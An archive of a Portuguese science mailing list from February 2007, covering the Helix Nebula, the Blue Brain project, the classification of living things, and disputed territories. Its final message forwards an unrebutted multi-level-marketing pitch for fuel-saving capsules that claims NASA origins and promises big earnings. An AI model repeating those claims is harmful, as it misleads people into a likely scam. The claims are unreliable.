A inusitada farra ocorre no coração da nebulosa da Hélice, uma das nebulosas planetárias mais próximas à Terra, descoberta pelo astrônomo alemão Karl Ludwig Harding no início do século 19. A cena foi captada pelo telescópio espacial Spitzer, da Nasa, e divulgada nesta segunda-feira (12/2).

"Ficamos surpresos de ver tanta poeira, que deriva de cometas que sobreviveram à morte de seu sol", disse Kare Su, da Universidade do Arizona e primeira autora do artigo que descreve a descoberta, que será publicada na edição de 1º de março da revista Astrophysical Journal Letters.

Os pesquisadores se surpreenderam porque a poeira deveria ter sido lançada no espaço pela explosão da estrela. Segundo eles, o mais provável é que a poeira acumulada agora identificada não seja derivada da morte da estrela, mas do choque entre os cometas.

Na imagem divulgada, feita em infravermelho, a estrela morta aparece como um pequeno ponto no meio da nebulosa, como se fosse uma pupila vermelha no centro de um monstruoso olho esverdeado.

A nebulosa da Hélice foi formada quando uma estrela parecida com o Sol morreu e perdeu suas camadas externas. Apesar de sua grande e inusitada beleza, a nebulosa planetária não vai durar muito. Em cerca de 10 mil anos suas nuvens brilhantes desaparecerão, deixando a anã-branca no centro e os cometas à sua volta para esfriarem no espaço vazio.

Astrônomos têm estudado há tempos a anã-branca o centro da nebulosa da Hélice, mas até agora ninguém havia conseguido detectar poeira por ali. O Spitzer, que enxerga na faixa de radiação infravermelha, conseguiu captar o brilho de um círculo de poeira ao redor da estrela morta, a uma distância entre 35 e 150 unidades astronômicas - uma UA é a distância entre a a Terra e o Sol, de cerca de 150 milhões de quilômetros.

O Sistema Solar do qual faz parte a Terra deverá passar por uma transformação semelhante em cerca de 5 bilhões de anos. Como na nebulosa da Hélice, o Sol se transformará em uma anã-branca e ficará rodeado por um bando de cometas que colidirão e lançarão poeira colorida que poderá ser captada a muitos anos-luz de distância.

Mais informações: www.nasa.gov/spitzer



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SUBJECT: The key to anti-gravity?
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/02/2007 21:56

Recomendo verem o vídeo até o final.
Legalzim... mas não tem nada de anti-gravidade.


>To: free_energy@yahoogroups.com
>Subject: [free_energy] The key to anti-gravity?
>Date: Wed, 21 Feb 2007 16:39:50 -0000
>
>
>The key to anti-gravity? (pay attention to the second half of this
>short video)
>
>http://www.neatorama.com/2007/01/15/inhaling-sodium-hexafluoride/
>
>Is this stuff safe to play with? Yes:
>
>http://en.wikipedia.org/wiki/Sulfur_hexafluoride
>
>Leo C.
>
>
>
>




SUBJECT: Re: Evoluçao, comportamento, gêneros e DNA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/02/2007 22:04

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> Quero dizer, se o DNA está sendo constantemente recombinado, e parte
> do DNA da mãe passa por exemplo, para o filho, e de um pai passa
> para uma filha.. como seria possivel que ocorresse essa evoluçao
> comportamental em paralelo, entre os gêneros?

Vamos deixar de lado um pouco a área do comportamento - sempre muito
polêmico - e entremos na área somática. É óbvio q existem diferenças
físicas mais ou menos fixas entre homens e mulheres. Homens possuem
pênis, um corpo mais hirsuto, em geral, maior; mulheres possuem útero,
mama e são em geral menores.

Algumas dessas características são diretamente condicionadas pelos
genes q estão presentes nos cromossomos sexuais. Outras, de modo mais
indireto.

Na questão do comportamento pode ocorrer a mm coisa.

[]s,

Roberto Takata



SUBJECT: Re: Qual o objetivo da discussão?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/02/2007 22:08

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> O intento é sermos livres,
> a começar por não dependermos dos animais não-humanos.

Agora são duas as minhas perguntas.

a) 200 vacas ou 1 humano?

b) Cadê a sua ética superior: Qdo vc vai pedir desculpas para o Homero
por tê-lo xingado?

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Pesquisadores criam cérebro computadorizado na Suíça
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/02/2007 00:12

[ Essa peça de hardware inédita consiste em cerca de 10 mil chips de
computador *que atuam como células nervosas reais*. Para simular um cérebro
natural, parte do córtex cerebral de ratos jovens foi
minuciosamente replicado no computador, célula por célula, juntamente com a
estrutura das sinapses, em forma de árvore. ]
...........................................................

O uso do vocábulo cérebro já foi usado e abusado desde os fantásticos
"cérebros eletrônicos", como eram chamados o primeiros computadores.
Programar um chip com as atividades "registradas e copiadas" de cada
neurônio de rato é um caminho duro, mas é um grande avanço em busca da
inteligência artificial(IA). O que não me parece adequado é usar o termo
"cérebro" para essa rede de chips, visto que existem outros órgãos
importantes de interação e apoio para o funcionamento adequado do córtex.

José Renato
.................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 21, 2007 12:14 AM
Subject: [ciencialist] Pesquisadores criam cérebro computadorizado na Suíça


Pesquisadores criam cérebro computadorizado na Suíça

Manfred Dworschak

Uma rede de nervos artificiais está crescendo em um supercomputador na
Suíça - que deverá simular um cérebro natural, célula por célula. Os
pesquisadores que trabalham no "Blue Brain" [Cérebro Azul] prometem
novas percepções sobre as origens da consciência humana.

A máquina é linda quando acorda - as células nervosas reluzem na tela
em tons pastel, correntes elétricas brilham através de um labirinto de
sinapses. Logo depois de ligado, o cérebro parece um pouco sonolento,
mas suaves surtos de corrente o despertam totalmente.

Essa peça de hardware inédita consiste em cerca de 10 mil chips de
computador que atuam como células nervosas reais. Para simular um
cérebro natural, parte do córtex cerebral de ratos jovens foi
minuciosamente replicado no computador, célula por célula, juntamente
com a estrutura das sinapses, em forma de árvore.

A simulação foi criada na Universidade Técnica de Lausanne, Suíça,
onde 35 pesquisadores participam da manutenção desse cérebro
artificial. Ele funciona em um dos supercomputadores mais poderosos do
mundo, mas em breve até este ficará pequeno demais. O objetivo é
construir uma máquina eletrônica pensante muito maior, que em última
instância replicaria o cérebro humano.

Um projeto tão ambicioso teria sido ridicularizado alguns anos atrás.
"Hoje temos os computadores de que precisamos", diz o biólogo Henry
Markram, 44, diretor do projeto. "E sabemos o suficiente para começar."

Markram sabe dos problemas que seu grupo deverá enfrentar. "Mas se não
construirmos o cérebro nunca saberemos como ele funciona", diz. Na
verdade, houve avanços formidáveis na pesquisa cerebral nos últimos
anos, mas as respostas para as grandes perguntas são tão vagas quanto
sempre foram. Como se desenvolve a consciência na orquestra elétrica
das células? Como exatamente um lampejo de inteligência se acende da
interação entre os genes, proteínas e substâncias mensageiras?

O modelo de Lausanne é a tentativa mais radical já feita de investigar
o mistério da consciência. A idéia é sedutoramente simples: determinar
como a mente surge da biologia e replicar a biologia. É uma tarefa que
exige enorme paciência e atenção aos detalhes, um processo que
significa copiar a natureza uma molécula de cada vez.

Embora o primeiro cérebro artificial possa parecer simples, será um
modelo útil. Os pesquisadores poderão usá-lo para reproduzir as
funções do órgão real e testar suas teorias. Conforme eles acrescentam
novos processos, o modelo torna-se cada vez mais detalhado - uma
espécie de projeto "wiki" da mente. Ele também apresenta uma vantagem
importante em relação ao cérebro natural, pois permite que os
pesquisadores monitorem cada uma das atividades mentais simuladas na
máquina.
Mas houve atividade mental?

O Blue Brain recém-nascido surpreendeu os cientistas por sua
disposição desde o primeiro dia. Mal lhe haviam fornecido impulsos
elétricos quando estranhos padrões começaram a surgir na tela, com os
clarões semelhantes a relâmpagos produzidos pelas células que os
cientistas identificam com os processos de pensamento reais. Grupos de
neurônios começaram a sintonizar-se até que começaram a disparar
ritmadamente. "Isso aconteceu totalmente por conta própria", diz
Markram. "Espontaneamente."

Construindo o cérebro eletrônico

Dez mil células nervosas artificiais foram entrelaçadas em Lausanne, e
os pesquisadores pretendem aumentar o número para um milhão até o fim
do próximo ano. Isso não significa que eles estejam satisfeitos: o
trabalho está previsto para durar até 2015 ou mais. Então, a menos que
o projeto seja considerado demasiado ambicioso, Markram e sua equipe
pretendem estar prontos para seu objetivo principal: um modelo de
computador do cérebro humano completo - o que neste momento é quase
uma fantasia, diante das cem bilhões de células que eles teriam de
fabricar.

Os céticos se perguntam qual o objetivo de replicar coisas com tanta
dificuldade, se os cientistas têm tão pouca compreensão de seu
objetivo e função. De fato, num futuro previsível ninguém saberá o que
acontece exatamente nos circuitos do cérebro replicado, a não ser que
parece sedutoramente autêntico para um observador externo.

Talvez os únicos que poderiam saber são os ratos que continuam
existindo como sombras nesse supercomputador. Os pesquisadores abriram
milhares de crânios de ratos ao longo dos anos, retiraram seus
cérebros e os cortaram em finas fatias que mantiveram vivas. Então
dirigiram pequenos sensores para cada neurônio. Eles escutaram as
células disparando neurônios e interceptaram as respostas que vinham
das células adjacentes.

As fatias de cérebro foram expostas a variados impulsos elétricos. Os
impulsos refletiam os estímulos que podem ter sido recebidos pelos
cérebros dos ratos de laboratório quando os animais cheiravam queijo
ou eram assustados por uma forma. As células reagiam - assim como
faziam quando os ratos estavam vivos - enviando correntes elétricas
pelo neuroplexo. Os equipamentos de medição dos pesquisadores
registraram todos os sinais até que as fatias de cérebro expiraram.

No final, os pesquisadores do laboratório de Markram coletaram todo o
repertório de comportamento de centenas de tipos de células em todas
as situações concebíveis na vida de um rato - e o armazenaram em
tabelas intermináveis. Essa enorme pilha de dados permitiu que os
cientistas começassem a construir seu substituto digital.


Tradução: Luiz Roberto Mendes Gonçalves



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SUBJECT: Re: Qual o objetivo da discussão?
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 01:51

Olá Bruna e Homero,

Bruna: "O intento é sermos livres, a começar por não dependermos dos
animais não-humanos."

Homero: Sinto muito, isso jamais vai acontecer. Toda sua fauna
intestinal, necessária a sua sobrevivência, deve continar a existir,
e você a depender dela. Sei que como é uma fauna microscópica...

Manuel (dando uma de Bradoke só para enfezar o Oráculo): Se o amigo
alberga uma fauna intestinal, aconselho-o a tomar um vermífugo
urgentemente; pois tênias e lombrigas (que são animais) não só não
são necessárias à nossa sobrevivência como são parasitas altamente
nocivos. E ninguém depende dessa fauna, a não ser os que trabalham no
setor de antelmínticos da indústria farmacêutica e certos indivíduos
anti-higiênicos com fixação anal que mantêm com seus oxiúros forte
dependência erótica.

Lembro também que essa fauna intestinal não é microscópica: a Taenia
solium é enorme e pode alcançar oito metros de comprimento.

Atualmente, a taxonomia científica mais aceita é a que divide os
seres vivos em cinco reinos: os animais, as plantas, os fungos, os
protistas e as moneras. Os microrganismos que vivem em nossos
intestinos e com os quais mantemos relações simbiônticas são
bactérias e foram descobertas na década de 50 do século XX por Kasey
Shirota. Nessa época, a classificação da vida em reinos mais adotada
era dualista: Plantae (que incluía, além das plantas, as bactérias e
os fungos) e Animalia (que compreendia os heterotróficos
pluricelulares e os protozoários). Por isso, Shirota designou o
conjunto dessas bactérias de "flora" intestinal".

Hoje, as bactérias não são mais consideradas vegetais, mas organismos
unicelulares que, por não possuírem núcleo protegido por membrana,
pertencem ao reino das moneras (monera significa "estrutura simples").

A designação mais corrente do conjunto de nossas companheiras
bactérias ainda é "flora" intestinal, e isso pela mesma razão que os
átomos são chamados de átomos (apesar de se saber, hoje, que os
átomos são divisíveis).

Abraços,
Manuel Bulcão



SUBJECT: Re: Qual o objetivo da discussão?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 02:08

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> Atualmente, a taxonomia científica mais aceita é a que divide os
> seres vivos em cinco reinos: os animais, as plantas, os fungos, os
> protistas e as moneras.

Na verdade, a mais difundida atualmente é a divisão proposta por Woese
de três domínios: Bacteria, Archea e Eukarya.

> bactérias e foram descobertas na década de 50 do século XX por Kasey
> Shirota.

Hein? O q existem são linhagens Shirota dos Lactobacillus casei.
Minoru Shirota baseando-se em suas pesquisas, em meados da década de
1930, desenvolveu o Yakult.

[]s,

Roberto Takata



SUBJECT: Re: Qual o objetivo da discussão?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 02:15

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> urgentemente; pois tênias e lombrigas (que são animais) não só não
> são necessárias à nossa sobrevivência como são parasitas altamente
> nocivos.

Há um tese polêmica q sustenta um efeito protetor de infecções
parasitárias contra certas alergias, e.g.:

Independent effects of intestinal parasite infection and domestic
allergen exposure on risk of wheeze in Ethiopia: a nested case-control
study.
http://dx.doi.org/10.1016/S0140-6736(01)06579-5

[]s,

Roberto Takata



SUBJECT: Países que ninguém (re)conhece
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 06:05

Bem, pouca gente já ouviu falar de Palau, Azerbaijão, Santa Lúcia, São
Cristóvão e Nevis mas sempre tem aquele fanático por geografia que ao
menos já ouviu falar. OU eventualmente algum parente aventureiro - e
cheio da grana - que talvez já tenha visitado. Uma rápida consulta a
um mapa-múndi atualizado ou uma enciclopédia idem é o suficiente para
verificar que são de fato países verdadeiros e não um território
fictício como Latvéria, Gondor, Zandia, Atlântida ou Acre.

Muitos reconhecerão a situação complicada da Palestina, de Taiuan, do
Tibete, alguns do Sahara Ocidental e da Tchetchênia. Um ou outro se
lembrará da Micronésia. Muitos terão conhecimento da palhaçada da
República dos Pampas.

Mas que dirão de:

Nagorno-Karabakh
http://news.bbc.co.uk/1/hi/world/europe/country_profiles/3658938.stm

Chipre do Norte
http://ec.europa.eu/enlargement/turkish_cypriot_community/index_en.htm

Transnitria/Pridnestrovie
http://www.unpo.org/article.php?id=6071

Somalilândia
http://news.bbc.co.uk/2/hi/africa/country_profiles/3794847.stm

Ossétia do Sul
http://news.bbc.co.uk/2/hi/europe/country_profiles/3797729.stm

Abkhazia
http://news.bbc.co.uk/2/hi/europe/3261059.stm

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Evoluçao, comportamento, gêneros e DNA
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 09:28

Ok, mas as diferenças (noçoes espaciais, ansiedade, etc) são detectadas em
outros animais também, não? Talvez até pelas próprias diferenças corporais
condicionadas pelos genes.

Mas a questao seria: justifica-se tentar explicar isso em termos de
comportamentos de caça e laços sociais nos seres humanos? Essas diferenças
nao existem de varias formas também em animais com hábitos completamente
diferentes?

Gil

Em 21/02/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> --- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> > Quero dizer, se o DNA está sendo constantemente recombinado, e parte
> > do DNA da mãe passa por exemplo, para o filho, e de um pai passa
> > para uma filha.. como seria possivel que ocorresse essa evoluçao
> > comportamental em paralelo, entre os gêneros?
>
> Vamos deixar de lado um pouco a área do comportamento - sempre muito
> polêmico - e entremos na área somática. É óbvio q existem diferenças
> físicas mais ou menos fixas entre homens e mulheres. Homens possuem
> pênis, um corpo mais hirsuto, em geral, maior; mulheres possuem útero,
> mama e são em geral menores.
>
> Algumas dessas características são diretamente condicionadas pelos
> genes q estão presentes nos cromossomos sexuais. Outras, de modo mais
> indireto.
>
> Na questão do comportamento pode ocorrer a mm coisa.
>
> []s,
>
> Roberto Takata
>
>
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> Página de apoio
> http://www.ciencialist.hpg.ig.com.br
>
>
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> Links do Yahoo! Grupos
>
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>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Mais teorias alternativas no Yahoo Respostas...
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 11:00

http://br.answers.yahoo.com/question/index;_ylt=AltaClMNUyeVw3ulx1Q_kvgR7Qt.?qid=20070222041708AAaDGWe

Como podemos interpretar esta inverdade?

Imagem de uma nebulosa (Caoticamente dizem ser nascimento de estrelas
a 12 bilhões de anos-luz da terra + 18 bilhões para se formar ) Como
explica o tempo de todas que já se formaram, se na cosmologia, o Big
Bang é a teoria científica que o universo emergiu de um estado
extremamente densa e quente há cerca de 13,7 bilhões de anos. A teoria
baseia-se em diversas observações que indicam que o universo está em
expansão de acordo com um modelo Friedmann-Robertson-Walker baseado em
Relatividade Geral, dentre as quais a mais tradicional e importante é
realção entre os redshifts e distâncias de objetos longínquos,
conhecida como Lei de Hubble, e na aplicação do princípio cosmológico.

Resposta (e eu aposto que será escolhida pelo Tarcísio Brito):

Eles querem dizer que em nosso Universo aparente temos 13,7 bilhões de
anos. Um observador nessa outra verdade aparente, pensaria que está a
18 bilhões de anos do big-bang. Tudo é pura especulação científica.
Isso foi o efeito negativo da teoria da relatividade, onde o tempo se
dilata e se contrai, assim como o faz o espaço, e que tudo depende do
observador. Pura burrice. Se o tempo e espaço surgiram com o big-bang,
então, temos ai um referencial absoluto, não acha. Essa verdade eles
não querem "ver" pois estão cegos. Existe outros físicos que podem
mostrar que os dados estão sendo mal interpretados.

http://www.deducoeslogicas.com/relatividade/logica.html
Fonte(s):

Dr. Cláudio N. Cruz
Físico e professor universitário formado pela UFJF, mestre e doutor
pela UFMG

-o=O=o-

Alguém tem algum comentário?

[]s
--
César A. K. Grossmann



SUBJECT: OT: O Poder dos Pesadelos
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 11:01

Não se preocupe, nao é nenhum tipo de teoria exótica :P

Trata-se de um documentário feito pelo Adam Curtis, falando sobre o
uso do medo com o ferramenta política. Começando nos anos 50/60, com
as teorias de Leo Strauss e Sayedd Qutb, e a crescente radicalizaçao
dos movimentos fundamentalistas islãmicos e neoconservadores, até o
choque ocorrido entre esses dois influentes grupos no fim dos anos 90,
com a "guerra ao terror".

A série , além dos dois pensadores acima, conta também parte da
trajetória de radicais de ambos os lados : Paul Wolfowitz, Osama Bin
Laden, Donald Rumsfeld, Ayman Zawahiri, os chefes da CIA (que tinham
posições contrárias á do grupo que os substituiu na "Agência),e por aí
vai.2

Longe de ser um documentário superficial, a série tem entrevistas com
personagens importantes do processo (agentes da CIA, combatentes
islãmicos, políticos influentes, analistas e conhecidos dos
participantes destes eventos), vídeos históricos, e uma análise
consistente e sem satanização nem santificação dos personagens.

Eu tinha traduzido a serie pra mostrar pro meu irmão, mas achei tão
bacana que resolvi enviar pra cá o link, se quiserem baixar :) Não sei
porque não aparece minha máquina como "seed", mas acho que dá pra
resolver isso quando eu aprender a mexer nessa firewall :(

Quem quiser baixar:
http://www.mininova.org/tor/593490


SUBJECT: Re: Qual o objetivo da discussão?
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 11:31

--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu

> > bactérias e foram descobertas na década de 50 do século XX por
Kasey Shirota.
>
> Hein? O q existem são linhagens Shirota dos Lactobacillus casei.
> Minoru Shirota baseando-se em suas pesquisas, em meados da década de
> 1930, desenvolveu o Yakult.

Manuel: Realmente, que confusão eu fiz! Obter informações em
conversas informais (com um menino perto chorando porque quer ir ao
MacDonald) freqüentemente dá nisso.

Em vez de flora intestinal, não seria melhor a expressão microbiota
intestinal?

Abraços,
Manuel Bulcão







SUBJECT: Ciencialist com site .com!
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 12:15

Agora a Ciencialist tem site proprio! :-)

http://www.ciencialist.com

Instalei neste momento o Wordpress, que facilita a atualizacao.

Durante esse final de semana vou inserir as informacoes e modificar o visual.

Os moderadores poderao ter acesso ao controle do Wordpress.

Ateh
Luis Brudna - administrador


=-=-=-


SUBJECT: Classificacao dos seres vivos (ex-Qual o objetivo da discussão?)
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 12:39

Tem um artigo da UnB q explica didaticamente a 'evolucao' dos
sistemas classificatorios dos seres vivos, incluindo o de Woese.

Em resumo:

Linnaeus (Lineu) (séc. XVIII): reinos Animal e Vegetal

Haeckel (1866): introdução do reino Protista

Whittaker (1969): 5 reinos, dividos principalmente pelas
características morfólogicas e fisiológicas:

Monera: Procariotos
Protista: Eucariotos unicelulares - Protozoários (sem parede celular)
e Algas (com parede celular)
Fungi: Eucariotos aclorofilados
Plantae: Vegetais
Animalia: Animais

Woese (1977): sistema de classificação baseado principalmente em
aspectos evolutivos (filogenética), a partir da comparação das
sequências de rRNA de diferentes organismos. Com esta nova proposta
de classificação, os organismos são agora subdividos em 3 domínios
(contendo os 5 reinos), empregando-se dados associados ao caráter
evolutivo:

Archaea: Procariotos
Bacteria: Procariotos
Eukarya: Eucariotos (os animais, vegetais e fungos seriam
tres 'ramos' partindo de um 'galho' dos Eucariotos - algo como um sub-
conjunto desse dominio, um sub-dominio formado pelos eucariotos
multicelulares)

Integra do artigo em

http://www.unb.br/ib/cel/microbiologia/intromicro/intromicro.html

Abs,
Eduardo Torres


--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> > Atualmente, a taxonomia científica mais aceita é a que divide os
> > seres vivos em cinco reinos: os animais, as plantas, os fungos,
os
> > protistas e as moneras.
>
> Na verdade, a mais difundida atualmente é a divisão proposta por
Woese
> de três domínios: Bacteria, Archea e Eukarya.
>
> > bactérias e foram descobertas na década de 50 do século XX por
Kasey
> > Shirota.
>
> Hein? O q existem são linhagens Shirota dos Lactobacillus casei.
> Minoru Shirota baseando-se em suas pesquisas, em meados da década de
> 1930, desenvolveu o Yakult.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: Classificacao dos seres vivos (ex-Qual o objetivo da discussão?)
FROM: "brudna" <lrb@iq.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 12:55

Quando crianca eu ouvia falar em 'Reino Mineral'.

De onde veio essa classificacao?

Ateh
Luis Brudna

=-=-=-
--- Em ciencialist@yahoogrupos.com.br, "Eduardo Torres"
<dudutorres@...> escreveu
>
> Tem um artigo da UnB q explica didaticamente a 'evolucao' dos
> sistemas classificatorios dos seres vivos, incluindo o de Woese.
>
> Em resumo:
>
> Linnaeus (Lineu) (séc. XVIII): reinos Animal e Vegetal
>
> Haeckel (1866): introdução do reino Protista
>
> Whittaker (1969): 5 reinos, dividos principalmente pelas
> características morfólogicas e fisiológicas:
>
> Monera: Procariotos
> Protista: Eucariotos unicelulares - Protozoários (sem parede celular)
> e Algas (com parede celular)
> Fungi: Eucariotos aclorofilados
> Plantae: Vegetais
> Animalia: Animais
>
> Woese (1977): sistema de classificação baseado principalmente em
> aspectos evolutivos (filogenética), a partir da comparação das
> sequências de rRNA de diferentes organismos. Com esta nova proposta
> de classificação, os organismos são agora subdividos em 3 domínios
> (contendo os 5 reinos), empregando-se dados associados ao caráter
> evolutivo:
>
> Archaea: Procariotos
> Bacteria: Procariotos
> Eukarya: Eucariotos (os animais, vegetais e fungos seriam
> tres 'ramos' partindo de um 'galho' dos Eucariotos - algo como um sub-
> conjunto desse dominio, um sub-dominio formado pelos eucariotos
> multicelulares)
>
> Integra do artigo em
>
> http://www.unb.br/ib/cel/microbiologia/intromicro/intromicro.html
>
> Abs,
> Eduardo Torres
>
>




SUBJECT: Re: Classificacao dos seres vivos (ex-Qual o objetivo da discussão?)
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 13:36

Oi Brudna,

> Quando crianca eu ouvia falar em 'Reino Mineral'.
> De onde veio essa classificacao?

Manuel: Lineu, no século XVIII.

Aproveito o ensejo para perguntar: como é que se pronuncia Archaea e
Eukarya? O "ch" de Archaea tem som de K ou de X? E quanto à sílaba
tônica?

Abraços,
Manuel Bulcão



SUBJECT: Fw: Trabalho Meio Ambiente
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 22/02/2007 14:05

To Takata e assessores ambientais.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Casolman Caldeiraria Solda e Manuteção
Para: leobarretos@uol.com.br
Enviada em: quinta-feira, 22 de fevereiro de 2007 10:59
Assunto: Trabalho Meio Ambiente


Bom dia, Leo
Sou estudante técnico em Meio Ambiente,no segundo período.
Estava fazendo um pesquisa sobre poluição do ar, fatores e tudo mais quando achei sua matéria
Estou precisando de mais material para a apresentação figuras o que for sobre poluição do ar,

Obrigada
Espero sua resposta,
ecmca@bol.com.br
casolman@terra.com.br


Atenciosamente
Erica Cristina


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: dispositivo Peltier
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 22/02/2007 14:06

Alguém tem boas informações sobre isso?

Agradeço,
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: tadeu
Para: leobarretos@uol.com.br
Enviada em: quarta-feira, 21 de fevereiro de 2007 15:21
Assunto: Fw: dispositivo Peltier



----- Original Message -----
From: tadeu
To: leobarretos@uol.com.br
Sent: Friday, April 14, 2006 8:43 PM
Subject: dispositivo Peltier


Olá Léo!
sua página esta excelente,muito interessante!
por favor,poderia me informar onde posso encontrar o
"Dispositivo Peltier"
que loja consigo,qual é o nome comercial do sistema,e tudo mais que puder me informar!
estou muito interessado neste dispositivo
até já
obrigado:
tadeu
tadeuhenry@yahoo.com.br



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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Classificacao dos seres vivos (ex-Qual o objetivo da discussão?)
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 14:16

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
<manuelbulcao@...> escreveu

> Aproveito o ensejo para perguntar: como é que se pronuncia Archaea
e
> Eukarya? O "ch" de Archaea tem som de K ou de X? E quanto à sílaba
> tônica?
>
> Abraços,
> Manuel Bulcão


>>>>Por acaso eu estudei latim em 1973, no ultimo ano do antigo
primeiro grau no Colegio Pedro II, unidade Tijuca (o Pedro II, q eu
saiba, foi a ultima escola publica a abolir o latim).

A letra dupla 'ae' tem um som semelhante a um 'e' aberto com a boca
comecando antes a abrir para um 'a'. E' como uma fusao das duas
letras, mas tendendo para um 'e' aberto (ver Aedes egypti ~= Edes
egipte). 'Ch' em latim tem som de 'k'. Seria 'Arquea' (tonica no
primeiro 'a') e 'Eucaria' (tonica no primeiro 'a').

Abs,
Eduardo Torres



SUBJECT: OT--- Fw: melhora do funcionamento do motor, economia de combust�vel e prote��o ao efeito estufa
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 22/02/2007 14:22

Tem até youtube!
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Pedro C. Binsfeld
Para: leobarretos@uol.com.br
Enviada em: quarta-feira, 21 de fevereiro de 2007 14:50
Assunto: melhora do funcionamento do motor, economia de combustível e proteção ao efeito estufa


Ola Leo,



meu nome é Pedro C. Binsfeld e quero lhe apresentar um grande negócio, uma grande oportunidade em Marketing Multinivel:

A FFI - Fuel Freedom International está chegando ao Brasil ! Uma multinacional americana presente já em 186 paises, com um produto que foi de uso exclusivo da Nasa e veio para revolucionar o mercado de combustíveis - são as MPG-CAPS ! Cápsulas que proporcionam uma economia de de 7 a 14% ou mesmo até 25% no tanque de combustível.


Não tenha duvidas de que o produto é confiável, pois é testado e aprovado pelos mais respeitáveis órgãos dos EUA, como o EPA (Agência de Proteção Ambiental dos EUA) com registro nº201220001 que é válido no território brasileiro.

Os Ganhos oferecidos pela FFI são inacreditáveis, os bônus são pagos em dólares semanalmente, há distribuidores ganhando de 100,00 U$ , há 3.000,00 U$ semanais!! E o que me impressionou na empresa é a velocidade com que isso acontece. Enfim, uma oportunidade que veio para proporcionar uma qualidade de vida muito melhor a milhares de Brasileiros.

Quanto ao produto pode se dizer, sem dúvidas, que não há concorrente; trata-se de cápsulas que devem ser colocadas no taque de combustível e proporcionam uma economia de até 25 % de seus gatos com combustível!

Estamos Recrutando líderes em Marketing Multinivel para fazerm parte do topo da empresa no Brasil. Neste site você encontrará todas as informações de que necessita para aderir a miha rede, onde terá treinamento e suporte, inclusive um website para divulgação de seu negócio além do website oficial que a empresa lhe fornecerá, você poderá ver o meu site pessoal clicando http://www.rsteam.myffi.biz/portuguese/

Assim, juntos usaremos o poder da internet para divulgar a FFI, Explore o conteúdo deste site, assista as apresentações, e me contate para esclarecermos suas dúvidas, queremos líderes comprometidos que queiram desenvolver este negócio incrível aqui no Brasil; e a FFI dá também suporte para desenvolver redes no exterior, é só dar uma olhada no site oficial que a empresa disponibilizará a você.

Conhecendo você o Marketing Multinível ou não, receberá ajuda para desenvolver o negócio, o convido a integrar minha rede que certamente visará o crescimento de todos os seus membros. Sugiro que estude todos os tópicos entre em contato pelo e-mail voipsolutions@terra.com.br para receber mais informaçoes e estabelecer contato comigo onde te apresentarei a oportunidade com mais detalhes:

Veja por exemplo um video no youtube, onde uma TV americana testa as pastilhas MPG-CAPS:



http://www.youtube.com/watch?v=YK7NZLZBGyM




Vídeo

Faça o download desta apresentação do plano marketing multinivel binário da FFI:



Slides

